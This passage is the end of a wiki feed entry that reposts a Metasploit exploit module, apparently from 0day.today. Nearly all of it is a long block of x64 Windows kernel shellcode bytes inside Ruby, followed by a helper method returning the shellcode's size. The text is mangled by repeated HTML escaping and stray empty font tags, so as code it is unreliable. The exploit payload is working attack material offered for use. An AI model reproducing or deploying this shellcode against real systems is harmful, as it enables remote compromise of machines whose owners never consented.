    &amp;quot;\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3&amp;quot;&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def kernel_shellcode_size&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    make_kernel_shellcode('').length&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
#  0day.today [2020-03-20]  #&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==作者：==&lt;br /&gt;
Metasploit&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>